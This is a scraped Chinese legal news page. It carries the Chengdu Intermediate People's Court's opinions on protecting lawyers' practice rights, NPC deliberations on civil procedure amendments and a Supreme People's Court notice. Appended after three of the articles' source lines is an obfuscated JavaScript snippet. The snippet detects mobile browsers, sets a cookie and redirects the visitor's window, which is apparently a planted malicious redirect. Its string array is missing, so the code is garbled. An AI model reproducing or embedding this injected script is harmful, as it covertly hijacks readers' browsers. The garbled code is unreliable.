成都市中级人民法院《关于依法保障律师执业权利的若干意见》

为推进法治成都建设,切实依法保障律师执业权利,健全法官和律师之间的沟通交流机制,积极为律师依法履职提供便利条件,充分发挥律师在维护司法公正、推进法治成都建设中的作用,根据我国《刑事诉讼法》、《民事诉讼法》、《行政诉讼法》、《律师法》等有关法律法规,结合成都法院工作实际,制定本意见。 一、一般规定 第一条 保障律师执业权利,应遵循依法、诚信、尊重、协作的原则,正确处理好法官与律师在诉讼活动中的工作关系,共同做好案件的立案、审理、调解、执行工作,妥善化解矛盾纠纷,共同促进司法公正、维护法律正确实施。 第二条 切实保障律师依法履行代理、辩护职责,对律师依法享有的知情权、会见权、阅卷权、调查权、辩论权、质证权等权利,不得非法阻碍和限制。 法院应当将落实和保障律师执业权利情况纳入目标管理和督办管理。法院监察部门应当对落实和保障律师执业权利的情况进行监督,防止律师合法权利受到侵害。 律师及律师协会有权通过法院监察部门、诉讼服务中心、相关审判执行部门、12368司法服务热线、院长“四公开”平台等途径,对妨碍、侵害律师执业权利的行为进行申诉和控告。法院有关部门接受申诉和控告后,按照职能分工,应当及时认真调查,违法违纪的应依法作出处理,并及时回复提出申诉和控告的律师或律师协会。 第三条 律师到法院办理诉讼事务,经有效执业证件查验和登记后即可进入,无需进行人身和随身携带物品的安全检查,但有理由认为其可能携带《人民法院司法警察安全检查规则》第八条规定物品的除外。 如因案件特殊,确需对律师人身和随身携带物品进行安全检查的,应与出庭履行职务的公诉人同等对待。 有条件的法院可以设置律师出入法院的专门通道,没有条件设置专门通道的法院,应保障律师优先通过安检通道。 随律师同行的实习律师、律师助理进入法院,亦无需进行人身和随身携带物品的安全检查。 第四条 切实加强律师在法院的人身和财产安全保障,律师在法院参与诉讼活动时遭遇当事人或其家属谩骂、围攻的,法官和法警要及时依法制止,并采取有效措施确保律师的人身和财产安全。 第五条 法院窗口部门人员、承办法官、法官助理和书记员收取律师提交的证据材料、代理词、辩护词、申请书等诉讼材料,在仔细核对后应当办理签收手续,出具签收收据,并注明签收人和签收时间。 第六条 律师对所代理案件的生效裁判提出异议的,案件承办法官应当视情况对有关程序适用、证据认定和裁判理由等向律师解释或说明。 第七条 律师可以通过全市法院诉讼服务中心(包括各点位)和网上诉讼服务中心当事人平台,就本人代理的案件提出预约立案、联系法官、提交材料、签收文书、信访投诉、查阅卷宗、查询进度、诉讼缴费等事项;与成都法院签约备案的律师,可以就本人代理的案件通过网上诉讼服务中心签约律师平台办理网上立案和其他诉讼事项。对律师使用诉讼服务体系所遇到的问题法院应及时回应和处理。 第八条 同一律师事务所的律师、实习律师、律师助理,持律师事务所出具的由其代为领取特定案件文书的书面授权,凭有效律师执业证或经律师事务所盖章的工作证,可以领取相关诉讼文书。 第九条 法院应当设立律师工作室,可以协同律师协会配备打印机、复印机、电脑、电话等日常办公设备,为律师庭前准备、休息提供必要便利。 第十条 按照《最高人民法院关于全面深化人民法院改革的意见》的有关改革要求,全市法院应全面加强与属地司法行政机关的沟通和协调,积极探索申诉案件律师代理制度。 第十一条 依法审查公民代理资格,切实保障律师代理权。以当事人的工作人员身份出庭的代理人,应当提交以下证据证明身份:1.当事人为其缴纳社会保险的记录凭证;2.当事人定期给付工资的银行凭证或工资定期领取记录表等。 二、保障律师约见法官和会见被告人的权利 第十二条 律师对案件的代理和辩护意见应当在庭审中发表,庭审外,确有必要会见法官的,应提交书面申请。法官按照四川省高级人民法院《关于进一步规范法官会见案件当事人、诉讼代理人、辩护人、涉案关系人的规定(试行)》的有关要求,进行审查。准许会见的,应及时安排并通知律师与法官会见。会见应在工作时间,在法院专门工作场所进行,并由被申请会见的法官及一名书记员或法官助理在场,涉及到重大、复杂、疑难案件的,审判长或合议庭成员共同参加会见,会见时法官应认真听取意见,书记员或法官助理应做好记录,经律师签字后附卷。 第十三条 在押被告人向法官提出要求会见辩护律师的,法官应当告知其向看守所提出,并及时向辩护律师转达被告人的会见要求。 三、保障律师对案件流程信息的知情权 第十四条 保障律师对案件审判流程、程序变更等的知情权,及时告知律师合议庭成员变更,延期审理和重新确定的开庭时间、地点,审理期限的延长,宣判时间、地点及其他与案件审判流程有关的情况。 第十五条 保障律师对执行案件的知情权,及时告知律师暂缓执行、中止执行、执行期限、标的物拍卖变卖、款项发放、结案及其他与案件执行有关的情况。 第十六条 全市法院应积极探索对律师知情权的信息化保障,通过短信推送等各种方式,实现审判执行进程中的流程信息自动向律师推送。 法院在向当事人告知审判、执行相关信息的同时应告知代理案件的律师。 四、保障律师阅卷和复制案件材料的权利 第十七条 依法保障律师的阅卷权,不得设置或变相设置限制条件阻碍律师阅卷。在刑事诉讼中代理律师与辩护律师享有同等的阅卷权。 第十八条 有条件的法院应设置专门的阅卷场所,同时提供复印机、扫描仪等设备,方便律师查阅、摘录、复制案件材料。 第十九条 除依照国家规定应保密的以外,应允许律师以复印、拍照、扫描等方式复制案件材料。 有条件的法院应引入社会化机构为律师复制卷宗提供专门服务;法院自行提供服务的,不得收取复制成本费以外的费用。 五、保障律师调查取证、申请证人出庭作证及排除非法证据的权利 第二十条 法院对辩护律师提供的其在审判阶段收集到的有关被告人不在犯罪现场、未达到刑事责任年龄、属于依法不负刑事责任的精神病人的相关材料以及其他与案件有关的材料应当及时签收,并依法组织质证和认证。 第二十一条 依法保障辩护律师在刑事诉讼中申请法院向被害人及其近亲属、证人或者有关单位、个人收集、调取与本案有关的证据材料的权利。法院应当在收到辩护律师提出的申请后5日内做出是否同意的决定并书面通知辩护律师;不同意的,应当说明理由。法院根据律师申请收集、调取证据材料后,应在3日内通知辩护律师查阅、摘抄或复制。 第二十二条 在民事诉讼和行政诉讼中,法院对代理律师提出的调查取证申请,一般情况下应当在收到申请书后7日内做出是否同意的决定,并书面通知代理律师;不同意的,应当说明理由。法院根据律师申请收集、调取证据材料后,应及时告知代理律师查阅、摘抄或复制。 第二十三条 在民事诉讼中,律师在举证期限届满之前,可以书面向法院申请调查令。经审查符合规定的,法院应及时向律师开具调查令,由律师在调查令载明的范围和期限内向相关单位收集、调取相关证据。 调查令载明的调查期限超出举证期限的,举证期限届满之日顺延至调查令载明的调查期满之日。 律师持调查令在期限内因客观原因无法调取证据的,可以向法院申请调查取证。 第二十四条 在案件执行过程中,全市法院可根据各地实际,积极探索以调查令、委托调查函等方式,赋予代理律师法律规定范围内的财产调查权。 第二十五条 在刑事诉讼中,辩护律师可以申请被害人及其近亲属或被害人提供的证人出庭作证。经审查符合规定的,法院应予准许并依法通知证人出庭作证。经审查不符合规定的,应向辩护律师说明理由。 在民事诉讼中,当事人委托的律师可以在举证期限届满前,书面向法院提出申请证人出庭作证并提供证人的证明材料。经审查符合规定的,法院应予准许并通知证人出庭作证。经审查不符合规定的,应向代理律师说明理由。 第二十六条 律师申请非法证据排除应当在开庭审理前提出,同时应提供所知悉的非法取证的人员、时间、地点、方式、内容等相关线索或者材料。律师在开庭审理后发现案件有关证据属于刑事诉讼法规定的非法证据相关线索或材料的,可以申请排除非法证据,法院应当及时签收并依法进行审查。 六、保障律师受委托申请立案的权利 第二十七条 全市法院应通过诉讼指南、成都法院司法公开网、成都法院网上诉讼服务中心全面公开起诉条件、诉讼费收费标准、减免缓诉讼费条件等与立案有关的信息。 第二十八条 全市法院应提高立案工作科技化水平,因地制宜推行远程立案、网上预约立案等,方便律师代为起诉。 第二十九条 保障律师依法代理立案的权利,对律师受当事人委托提交的诉状,依照《最高人民法院关于人民法院推行立案登记制改革的意见》和《最高 人民法院关于人民法院登记立案若干问题的规定》及时处理,对符合法律规定的起诉、自诉,应当当场予以登记立案并发放立案受理文书。 保障律师代当事人申请强制执行和申请国家赔偿立案的权利,强制执行和国家赔偿申请登记立案工作,按照《最高人民法院关于人民法院登记立案若干问题的规定》执行。 七、保障律师参与庭审的各项权利 第三十条 公诉案件、适用普通程序审理的民事和行政案件应在开庭三日前,通知律师开庭的时间和地点。 开庭时间和地点确定后,法院不得随意变更,因特殊情况确需变更开庭时间或地点的,原则上应按前款规定提前通知律师。 第三十一条 在诉讼活动中,律师确因庭审时间冲突等客观原因无法参加庭审的,应提前3日向法院书面提出变更开庭时间的申请并附相关证明材料。法院经审查理由成立且可以延期开庭审理的,可以重新安排开庭时间并及时通知各方当事人及其委托的律师。 第三十二条 在刑事案件开庭审理前,辩护律师可以向承办法官建议召开庭前会议,并说明理由或附相关证明材料。 第三十三条 在民事案件答辩期届满后开庭审理前,代理律师可以向承办法官建议组织证据交换或召开庭前会议,并说明理由或附相关证明材料。 第三十四条 保障律师在庭审中的辩论权。不得无故打断或限制律师发表代理、辩护意见,不得违法责令律师退庭或者限制律师参加诉讼活动。法官在庭审中应当认真听取律师的辩护或代理意见,但对于律师的重复、无关意见,可予以指出或制止。书记员应如实记录律师在庭审中发表的辩护和代理意见。 除双方无争议且按有关规定可以简化外,裁判文书应当全面归纳总结律师就案件事实、证据、法律适用等发表的观点和意见。对于律师依法提出的辩护或代理意见未予采纳的,应当在裁判文书中说明理由。 第三十五条 保障律师在庭审中的质证权。在庭审过程中律师有权向出庭证人、鉴定人发问,法院不许可律师向证人、鉴定人发问的,应说明理由,律师有权对此发表意见。 第三十六条 庭审过程中发生被告人、诉讼当事人情绪异常等严重影响庭审正常进行的情况,辩护律师认为有必要与被告人进行会见交流的,代理律师认为有必要与委托人进行交流沟通的,可以提出休庭申请,是否准许由合议庭或独任法官决定。 第三十七条 法庭调查和法庭辩论环节结束前,独任法官或审判长应询问律师“是否还有新的意见”,或“是否还有补充意见”,或“还有没有最后要陈述的意见”等,切实保障律师在法庭上充分完整表达诉求和意见。 八、建立良性互动的阳光沟通协调机制 第三十八条 全市法院应全面建立与属地司法局、律师协会等的常态化工作联系机制。通过召开联席会、恳谈会、座谈会等方式,搭建经常性的沟通交流平台,并确定具体负责联系的部门和人员,负责办理具体沟通交流事务,促进法官与律师之间建立良性互动的工作关系。 第三十九条 全市法院应积极探索法院与律师协会之间的学术交流机制,针对司法实践中的热点、难点问题,采取专题讲座、案例评析、学术研讨等方式搭建学术互动平台,促进法律统一适用。 第四十条 全市法院制定的业务文件、刊印的学术刊物等资料,除按照规定应保密或不宜对外公开外,可通过网络及其他平台与律师协会交流、共享。 第四十一条 全市法院在制定有关审判业务方面的规范性文件时,可根据实际情况,征求律师协会的意见。 九、附则 第四十二条 本规定适用于成都市中级人民法院及所辖各基层人民法院。 第四十三条 本意见由成都市中级人民法院审判委员会负责解释。 第四十四条 本意见自下发之日起实施。本规定与法律法规、司法解释不一致的,以法律法规、司法解释为准。本院以前所作的规范性文件,凡与本意见不一致的,按本意见执行。 ...

民诉法拟补充证据制度

民诉法修改拟补充证据制度全国人大常委会委员建议 应进一步完善当事人举证制度   证据是人民法院认定事实并作出裁判的基础。完善当事人举证制度,对于查明事实,正确适用法律,妥善解决民事纠纷具有重要作用。   针对实践中存在的问题,民事诉讼法修正案草案对现行法律拟作出补充修改:明确法院接收当事人提交证据材料的手续;完善制度,促使当事人积极提供证据;赋予当事人启动鉴定程序的权利。   近日举行的十一届全国人大常委会第二十三次会议初次审议民事诉讼法修正案草案时,常委委员对上述规定普遍表示赞成,同时也提出了进一步完善的建议。 进一步完善健全举证责任制度   “应当认真研究并完善、健全举证责任制度。”沈春耀委员说。   草案规定,当事人对自己提出的主张,有责任提供证据。   沈春耀委员建议,将这一规定修改为三款:一是当事人对自己提出的诉讼请求所依据的事实,有责任提供证据加以证明;二是没有证据或者证据不足以证明当事人的事实主张的,由负有举证责任的当事人承担不利后果;三是法律对举证责任有明确规定的,依照其规定。   沈春耀委员认为,这样修改,一是可以强调当事人在民事诉讼中的举证责任,把它表述得更完整。二是能够区别“举证责任”和“有责任提供证据”。这两个概念是不一样的。在诉讼活动中,凡是知道情况的,原则上说都有义务作证,这是一般性的原则和要求。不仅原告有权提供证据,被告、第三人和知道情况的人都有责任提供证据。但是举证责任不一样。如果举证责任在你身上的话,你提不出证据或者提出的证据不足以证明的话,那么就要承担诉讼的不利后果。三是其他法律有的对举证责任有专门的规定,比如说侵权责任法对举证责任有特别规定或补充规定,在有的情况下举证责任是倒置的,比如高度危险作业下的侵权责任等。还有一种情形是推定,比如在医疗纠纷中,如果患者的病历被医疗机构、医疗人员伪造、篡改或者故意隐瞒的,法律规定就推定医院和大夫有过错,要承担相应责任。因此民诉法应当规定,法律对举证责任有明确规定的,依照其规定。 法院依请求应当介入证据调查   “依照法律规定,有关部门掌握的一些数据资料是保密的,如果法院不介入调查,一般当事人根本无法取得。”陈秀榕委员说,按照民事诉讼法“谁主张谁举证”的原则,遇到这类情况,当事人在诉讼中往往因举证不力而败诉。因此,建议对举证确有困难的,法院可以依当事人的请求介入证据调查。   陈秀榕委员表示,这个问题一直存在争议,不同意见认为,法院介入证据调查会打破双方当事人平等地位的平衡。   “但我认为,法院介入调查是协助有需要的当事人收集其依法不能自行收集的证据,被协助的可能是一方当事人,也可能是双方当事人,其目的正是为了使当事人有效行使诉讼权利,其结果是能平衡当事人平等的地位,避免任何一方处于弱势地位。”陈秀榕委员强调。 对举证不能的没必要训诫罚款   草案规定,当事人对自己提出的主张应当及时提供证据。未及时提供证据的,人民法院应当责令其说明理由。理由不成立的,人民法院根据不同情形予以训诫、罚款、赔偿拖延诉讼造成的损失、不予采纳该证据。   “这一规定与民诉法的举证原则有冲突。”丛斌委员说,民诉法的举证原则是举证不能的要承担举证不能的责任。也就是说,对其诉讼主张不支持就可以了。这不同于刑事诉讼法,所以建议修改为“理由不成立的,应当承担举证不能的责任”,把“人民法院根据不同情形予以训诫”等内容删除。   “训诫是人民法院对影响法庭审判的行为而且是一种故意的恶意行为采取的强制措施。”丛斌委员说,对于当事人给了时间,又说不出理由,就要承担举证不能的责任,这是符合民事诉讼法基本原则的,没有必要再采取强制措施。 转载于中国普法网var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

关注民诉法修正案草案:应赋予公民提起公益诉讼的权利

全国人大常委会组成人员分组审议民诉法修正案草案时建议 赋予公民提起公益诉讼的权利   近年来,我国环境污染和食品安全事故不断发生,一些全国人大代表和专家学者多次提出,应当在民事诉讼法中增加公益诉讼制度。   前不久提请十一届全国人大常委会第二十三次会议审议的民事诉讼法修正案草案首次增加了公益诉讼制度,规定:对污染环境、侵害众多消费者合法权益等损害社会公共利益的行为,有关机关、社会团体可以向人民法院提起诉讼。   审议中,全国人大常委会组成人员对立法建立公益诉讼制度普遍赞成,同时也提出进一步完善这一制度的建议。一些委员建议,应当赋予公民提起公益诉讼的权利。   增加公益诉讼制度影响深远   “现在环境污染及侵害消费者权益的事件有增多的趋势,但提起公益诉讼于法无据。”刘振伟委员说,草案新增加的公益诉讼制度,是此次民诉法修改的一大亮点,其影响是深远的。   陈秀榕委员也认为,公益诉讼是为了保护社会公共利益和国家利益而提起的诉讼,社会各界长期以来一直呼吁建立公益诉讼制度。这次修改民诉法,规定有关机关、社会团体对损害社会公共利益的行为可以向法院提起诉讼,回应了社会关切,是草案的突出亮点之一。   “在程序法层面建立公益诉讼制度,是我国民诉立法的重大进步,对这一点应予充分肯定。”南振中委员说。   草案规定比较原则应当细化   “草案对公益诉讼制度的规定比较原则,建议细化相关规定。”刘振伟委员提出,比如,受理公益诉讼案件是否应设定一定的条件;行政机关能否提起公益诉讼;社会团体提起公益诉讼是否应得到相关授权;提起诉讼的主体是否包括利益受到损害的直接当事人;当事人提起的普通侵权诉讼与公益诉讼在程序上如何衔接;公益诉讼的受理法院适用怎样的审判程序等问题,都应进一步明确。   朱永新委员也提出了一连串的问题:草案中的有关机关、社会团体如何界定?机关好理解,是指政府及其各种机构,社会团体是指什么?是指人民团体还是包括所有的社会团体,是否包括各种备案登记的民间组织?这些组织如何确认?另外,公民联名可不可以提起诉讼?比如有单位在居民家门口建污染企业、堆放大量垃圾等,造成很大的污染,居民集体联名提起诉讼行不行?   应扩大提起公益诉讼的主体   “在民诉法中适当地规定公益诉讼的问题是必要的,但要从我国的国情出发,慎重设置这一制度。”列席会议的全国人大内务司法委员会委员戴玉忠说,草案规定的公益诉讼的起诉主体用“有关机关”的表述不合适。一是有关机关的表述不明确,民事诉讼本来是平等主体之间的诉讼,公益诉讼是一种授权性的诉讼,这种授权应明确是授予哪个单位的。二是我国与社会公共利益有关的机关很多,党的机关、权力机关、行政机关、审判机关、检察机关等等,都与公众利益有关,都能够成为公益诉讼的主体吗?显然,党的机关、人大机关、审判机关是不能作为公益诉讼主体的,剩下的就是行政机关和检察机关,用“有关机关”的表述是不合适的。三是我国的行政机关作为公益案件起诉主体也有问题。一方面我国的行政机关权力比较广泛,像这次草案提到的环境污染、食品安全等公共安全问题,政府都有主管部门,都有权对企业、社会组织造成这样的公益侵权案件进行查处,保护公民的合法权益,不必作为诉讼主体再将案件起诉到法院。我国的行政机关不同于西方国家的行政机关,西方国家的行政机关一般不直接介入经济和市场活动,而我们的行政机关是党领导下的代表人民利益、为人民办事的政府机关,在招商引资、建设开发等经济活动中都直接参与,也可能是公益案件侵权主体或共同侵权主体。因此,目前不宜把行政机关作为我国公益案件的起诉主体。   “在我国现在的国情下,有些公益案件赋予人民团体、社会团体作为公益案件起诉主体,是可以的。”戴玉忠委员说,我国的工会、妇联、共青团作为人民团体,它代表着广大职工、广大妇女和广大青年的利益,赋予这样的人民团体和社会团体公益案件的起诉权,是可以考虑的。   南振中委员则提出,草案关于公益诉讼的规定,将原告主体限定在“有关机关和社会团体”的范围内,未赋予公民和其他组织、法人单位独立诉权。而环境保护法、水污染防治法、大气污染防治法等实体法都明确规定公民对于污染和破坏环境的单位和个人有检举和控告的权利。   “建议草案对公益诉讼的原告范围作适当调整,使公民及其他法人单位均可通过公益诉讼维护社会公共利益。”南振中委员说。   丛斌委员也认为,诉讼主体应当是三种类型:公民、有关机关和社会团体。公民是自然人,法人和自然人在民事诉讼中的诉讼地位和权利是一样的。对于社会公共利益的损害,公民理应有提起诉讼的权利,理应有维护公共利益的责任。 转载于中国普法网var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

最高人民法院:充分发挥审判工作职能作用积极推动社会管理体系建设

               最高人民法院发出通知要求      充分发挥审判工作职能作用 积极推动社会管理体系建设   本站讯 近日,最高人民法院发出《关于充分发挥审判职能作用加强和创新社会管理的若干意见》,要求各级人民法院认真总结多年来参与社会管理的成功经验,按照新形势、新任务的要求,找准结合点和切入点,及时研究新办法,采取新措施,更好地发挥审判职能作用,推动中国特色社会主义社会管理体系建设。   《意见》指出,要从全局和战略的高度,进一步深化对加强和创新社会管理重要性和紧迫性的认识,切实增强责任感和使命感,以扎实有效的工作措施,把加强和创新社会管理作为一项重大而紧迫的任务抓紧抓好。   《意见》强调,公正审理、执行各类案件,是人民法院参与社会管理的基本途径,人民法院加强和创新社会管理,必须始终抓好执法办案第一要务,必须依法妥善审理、执行好各类案件。当前特别要依法妥善审理好涉及中小企业的民间借贷纠纷案件,积极引导民间借贷规范发展,依法惩处非法集资等违法犯罪行为,妥善处理企业之间互相担保、企业资金链断裂引发的各类矛盾纠纷,有效维护正常的金融秩序,切实保障人民群众的合法权益;要认真贯彻“调解优先、调判结合”工作原则,坚定不移地把“调解优先、调判结合”工作原则贯穿人民法院加强和创新社会管理的全过程,积极推动完善人民调解、行政调解、司法调解相互衔接配合的大调解工作体系;要认真做好涉诉信访工作,依法处理涉诉信访案件。   《意见》强调,制度是加强和创新社会管理的基础和保障,人民法院要拓展服务职能,大力推进中国特色社会主义社会管理体系建设。人民法院在通过执法办案参与社会管理的同时,要注重发挥司法的能动作用,积极推进社会管理制度体系不断完善;要积极参与特殊人群关怀帮扶体系建设;要与有关部门密切配合,积极推进社区矫正制度的健全完善,积极参与对刑释解教人员、社区服刑人员的帮教管理,帮助他们顺利回归社会;要积极参与立体化治安防控体系建设,积极参与重点地区、重点场所的社会治安综合治理,依法严厉打击黑恶势力、暴力恐怖、两抢一盗、拐卖妇女儿童、危害食品药品安全等严重影响群众安全感的犯罪活动;要积极参与校园及周边地区综合治理,依法严厉打击针对师生、学校的犯罪活动,维护正常的教学秩序。   《意见》要求,要加强统筹协调,落实人民法院加强和创新社会管理的各项要求和措施。要以创先争优活动、“发扬传统、坚定信念、执法为民”主题教育实践活动、“人民法官为人民”主题实践活动以及社会主义法治理念再学习再教育活动为载体,深入开展“忠诚、为民、公正、廉洁”政法核心价值观教育,提升司法能力,改进司法作风,确保司法廉洁;要坚持重心下移,加强对基层法院参与社会管理的监督指导,帮助基层做好上级部署与本地实际的结合,及时总结推广基层法院加强和创新社会管理的成功经验,加强对基层干警参与社会管理能力的培养,提高基层法院参与社会管理的水平;各级法院要在坚持依法办事的前提下,积极探索新路子,勇于实践新举措,积极完善相关制度机制。特别要重点完善司法公开、司法民主、监督制约等制度机制,以公开、公正、廉洁、文明的司法活动,提高人民法院参与社会管理工作的效果,为“十二五”时期经济社会又好又快发展、为夺取全面建设小康社会新胜利提供坚强有力的司法保障。 转载于最高人民法院网var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 